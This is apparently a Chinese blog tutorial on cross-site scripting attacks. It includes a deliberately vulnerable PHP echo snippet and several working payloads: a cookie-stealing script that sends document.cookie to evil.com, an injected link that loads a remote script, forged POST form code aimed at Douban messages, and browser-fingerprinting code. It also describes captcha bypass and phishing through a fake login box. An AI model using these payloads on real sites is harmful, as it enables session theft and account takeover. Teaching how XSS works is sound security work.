web安全————XSS(攻击篇)

             跨站脚本攻击(XSS)
    XSS攻击是指攻击者通过“HTML注入”篡改了网页,并插入恶意脚本,使用户在浏览网页时控制用户浏览器的一种攻击。XSS因为破坏力强大、产生的场景复杂且难以一次性解决而成为客户端脚本安全中的头号大敌。OWASP(open web application security project开放式web应用程序安全项目)曾多次把XSS列在榜首,下面我们来了解它的基本原理以及如何有效、正确的防御它。
    
    XSS入门
    一个页面把用户的输入值输出到页面上:
    <?php
    $input = $_GET["param"];
    echo "<div>".$input."</div>";
    ?>
    当用户向param提交数据时:http://www.aa.com/test.php?param=this is a test!此时param的值就会显示在页面中,页面源代码为:<div>this is a test!</div>。那么试想一下,如果提交的是一段代码例如:http://www.aa.com/test.php?param=<script>alert(/xss/)</script>,此时再查看页面,发现该代码被执行了,源代码为:<div><script>alert(/xss/)</script></div>。这就是简单的反射型XSS攻击
   
    根据XSS效果的不同,XSS有以下几种类型:
    1,反射型XSS:所谓反射型XSS就是简单的把用户的输入数据反射给浏览器。通常攻击者事先会将恶意代码写在远端,并诱使用户点击该远端的链接才能使攻击生效,反射型XSS也叫做“非持久型XSS”(Non-persistent XSS)
    2,存储型XSS:存储就是说把用户输入的数据“存储”在服务器端。如:攻击者写下一篇包含恶意代码的博客文章并发表,当有用户访问该博客文章后该恶意代码就会在用户浏览器中执行。也就是说攻击者是将恶意代码保存到服务器端的,这种攻击有很强的稳定性(Per-sistent XSS)。


    XSS攻击进阶
    XSS Payload:XSS攻击成功后,攻击者就能够对用户当前浏览页面植入恶意脚本,通过恶意脚本控制用户的浏览器,该脚本就被称之为"XSS Payload"。XSS Payload实际上就是Javascript脚本,因此任何javascript能实现的功能XSS Payload也能做到。例如“Cookie劫持”:
    攻击者将包含如下代码的XSS Payload 的evil.js事先写在远程脚本中
    var img = document.createElement("img");
    img.src = "http://www.evil.com/log?"+escape(document.cookie);
    document.body.appendChild(img);

    实际上这段代码是在页面中插入了一张看不见的图片发起get请求,同时把document.cookie对象作为参数发送到远程服务器。准备工作做好之后,攻击者只需诱使用户点击链接加载这个远程脚本:http://www.aa.com/test.htm?abc="><script src=http://www.evil.com/evil.js ></script>,这样就完成了简单的XSS Payload的Cookie窃取攻击。窃取到用户cookie后如何登陆这里不再赘述。

    在看看post请求的XSS Payload。例如在Douban上构造form表单发新消息的请求包:

     var f = document.createElement("form");

     f.action = "";

     f.method = "post";

     document.body.appendChild(f);

     var i1 = document.createElement("input");

     i1.name = " ck";

     i1.value = "JiUY";

     f.appendChild(i1);

     var i2 = document.createElement("input");

     i2.name = " mb_text";

     i2.value = "testtesttest";

     f.appendChild(i2);

     f.submit();

     如果表单的参数很多的话,可以这么构造:

    

var dd = document.createElement("div");
document.body.appendChild(dd);
dd.innerHTML = '<form action="" 
method="post" id="xssform" name="mbform">'+
'<input type="hidden" value="JiUY" 
name="ck" />'+
'<input type="text" value="testtesttest" 
name="mb_text" />'+
'</form>'
document.getElementById("xssform").submit();

    在上述例子中,XSS攻击过程都是在浏览器中通过javascript脚本自动进行的,缺少与用户交互的过程,如果用户登陆时要求输入验证码,则一般的XSS Payload 都会失效,但是对于这种情况,XSS还可以有另外一种方法 XSS钓鱼。XSS Payload可以通过读取页面,将验证码图片的URL发送到远程服务器上,远程XSS后台接收当前验证码,并将验证码值返回当前的XSS Payload,从而绕过验证码的验证。攻击者也可以在当前页面伪造一个登陆框,诱使用户输入即可窃取账号密码。

   很多时候,攻击者为了发挥XSS攻击的最大威力以及获得更大的利益,往往需要收集更多更精确的用户数据,比如用户浏览器、操作系统等,这样攻击者就有可能实施一次精准的浏览器内存攻击,最终给用户的电脑植入一个木马。XSS是通过javascript读取浏览器的userAgent获取浏览器版本信息:

  alert(navigator.userAgent);

    当然不同浏览器版本之间存在差异,通过分辨这些差异就能精确的得到浏览器版本信息,参考精简代码:

   

B=(function x(){})[-5]=='x'?'FF3':(function
x(){})[-6]=='x'?'FF2':/a/
[-1]=='a'?'FF':'\v'=='v'?'IE':/
a/.__proto__=='//'?'Saf':/s/.
test(/a/.toString)?'Chr':/^function 
\(/.test([].sort)?'Op':'Unknown'

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值